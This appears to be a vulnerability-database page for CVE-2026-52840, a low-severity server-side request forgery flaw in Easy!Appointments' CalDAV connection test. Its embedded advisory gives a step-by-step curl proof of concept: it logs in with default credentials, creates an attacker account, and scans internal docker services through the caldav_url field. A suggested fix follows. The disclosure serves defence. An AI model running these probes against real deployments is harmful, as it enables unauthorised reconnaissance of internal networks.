CVE-2026-52840: Alextselegidis/easyappointments Easy!Appointments Has Server-side Request Forgery Vulnerability
LOWCVE-2026-52840 is a LOW (CVSS 2.7) easy!appointments has server-side request forgery vulnerability (CWE-918: Server-Side Request Forgery (SSRF)) affecting Alextselegidis/easyappointments libraries in the Packagist ecosystem. The issue involves easy!appointments has server-side request forgery in caldav connection test that exposes the deployment's internal network. Remediation is available in the latest vendor maintenance releases.
CVE-2026-52840 at a Glance
Security Impact
CVSS: 2.7
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N).
How to Fix CVE-2026-52840
To remediate this vulnerability, upgrade all affected Alextselegidis/easyappointments dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade alextselegidis/easyappointments to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for alextselegidis/easyappointments
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-52840, inspect your project dependencies for Alextselegidis/easyappointments:
inspect dependencies for alextselegidis/easyappointments
Analyze the terminal output to locate any version of Alextselegidis/easyappointments in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-918: Server-Side Request Forgery (SSRF), where the web server receives a url or similar request from an upstream component and retrieves the contents of this url, but it does not sufficiently ensure that the request is being sent to the expected destination. In Alextselegidis/easyappointments, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-52840 Affected Alextselegidis/easyappointments Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
alextselegidis/easyappointments
|
Packagist |
≤ 1.5.2
|
|
References
Frequently Asked Questions
What is CVE-2026-52840?
Which Alextselegidis/easyappointments versions are affected?
What version fixes CVE-2026-52840?
Is alextselegidis/easyappointments affected?
What is the CVSS score of CVE-2026-52840?
What CWE is associated with CVE-2026-52840?
How can I check Packagist dependencies for CVE-2026-52840?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-pm5p-7w5h-jm5q",
"modified" : "2026-07-29T16:24:28Z",
"published" : "2026-07-29T16:24:27Z",
"aliases" : [ "CVE-2026-52840" ],
"summary" : "Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network",
"details" : "### Summary\n\n`Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind.\n\n### Preconditions\n\n- Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row.\n- Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`.\n\n### Details\n\n```php\n// application/controllers/Caldav.php:45-82\npublic function connect_to_server(): void\n{\n try {\n $provider_id = request('provider_id');\n $user_id = session('user_id');\n\n if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {\n throw new RuntimeException('You do not have the required permissions for this task.');\n }\n\n $caldav_url = request('caldav_url'); // (*) attacker-controlled\n $caldav_username = request('caldav_username');\n $caldav_password = request('caldav_password');\n\n $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink\n ...\n } catch (GuzzleException | InvalidArgumentException $e) {\n json_response([\n 'success' => false,\n 'message' => $e->getMessage(), // (*) upstream body reflected\n ]);\n }\n}\n```\n\nThe per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass.\n\nWhen Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network.\n\n### Proof of concept\n\n**Setup**\n\n1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:\n\n ```bash\n git clone https://github.com/alextselegidis/easyappointments\n cd easyappointments\n git checkout 1.5.2\n cp config-sample.php config.php\n docker compose up -d\n until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done\n ```\n\n2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`):\n\n ```bash\n docker compose exec -T php-fpm php index.php console install\n ```\n\n3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory:\n\n ```bash\n export ADMIN_JAR=/tmp/admin.cookies\n curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=administrator\" \\\n --data-urlencode \"password=administrator\" > /dev/null\n\n CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ADMIN_JAR)\n curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode 'provider[first_name]=Mal' \\\n --data-urlencode 'provider[last_name]=Lory' \\\n --data-urlencode 'provider[email]=mallory@x.test' \\\n --data-urlencode 'provider[phone_number]=+10000000000' \\\n --data-urlencode 'provider[timezone]=UTC' \\\n --data-urlencode 'provider[language]=english' \\\n --data-urlencode 'provider[settings][username]=mallory' \\\n --data-urlencode 'provider[settings][password]=Attacker-pw-1' \\\n --data-urlencode 'provider[settings][notifications]=0'\n export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \\\n -e \"SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'\")\n ```\n\n4. Log in as the attacker into a dedicated cookie jar:\n\n ```bash\n export ATTACKER_JAR=/tmp/attacker.cookies\n curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null\n CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"username=mallory\" \\\n --data-urlencode \"password=Attacker-pw-1\" > /dev/null\n ```\n\n**Exploit**\n\n1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row:\n\n ```bash\n CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://nginx/some/404/path\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n ```\n\n Observed (verified on a fresh `docker compose up`): `{\"success\":false,\"message\":\"Client error: \\`REPORT http:\\/\\/nginx\\/some\\/404\\/path\\/\\` resulted in a \\`404 Not Found\\` response:\\n\\n<!doctype html>\\n<html lang=\\\"en\\\" style=\\\"\\n height: 100%;\\n\\\">\\n<head>\\n <meta charset=\\\"utf-8\\\">\\n <meta http-equiv=\\\"X- (truncated...)\\n\"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON.\n\n2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim:\n\n ```bash\n for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do\n CSRF=$(awk '$6==\"csrf_cookie\"{print $7}' $ATTACKER_JAR)\n printf '\\n=== %s ===\\n' \"$target\"\n curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \\\n --data-urlencode \"csrf_token=$CSRF\" \\\n --data-urlencode \"provider_id=$ATTACKER_ID\" \\\n --data-urlencode \"caldav_url=http://$target/\" \\\n --data-urlencode \"caldav_username=x\" \\\n --data-urlencode \"caldav_password=x\"\n done\n ```\n\n Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \\`REPORT http://swagger-ui:8080/\\` resulted in a \\`405 Not Allowed\\` response: <html>\\r\\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{\"success\":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist.\n\n### Impact\n\n- **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network.\n- **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents.\n\n### Suggestions to fix\n\n> _This has not been tested - it is illustrative only._\n\nReject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client.\n\n```diff\n $caldav_url = request('caldav_url');\n+\n+ $scheme = parse_url($caldav_url, PHP_URL_SCHEME);\n+ $host = parse_url($caldav_url, PHP_URL_HOST) ?: '';\n+ $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host);\n+\n+ if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host\n+ || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n+ throw new InvalidArgumentException('CalDAV URL is not allowed.');\n+ }\n+\n $caldav_username = request('caldav_username');\n $caldav_password = request('caldav_password');\n\n $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password);\n```\n\n### Credit\n\nDredsen, 2026.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "alextselegidis/easyappointments"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "1.5.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-pm5p-7w5h-jm5q"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-52840"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/commit/2da2baed18ec32ad7916e507815709c8f010d510"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/commit/4abb10545d83ac1a57d03f6502376ee67696ea7c"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/commit/6b34b78c47790dfd1dec27cf62926db51be276e9"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/commit/6eb9336a91cfb276379506625e81f5bd9ed3a536"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/alextselegidis/easyappointments"
}, {
"type" : "WEB",
"url" : "https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-918" ],
"severity" : "LOW",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-29T16:24:27Z",
"nvd_published_at" : "2026-07-14T16:17:00Z"
}
}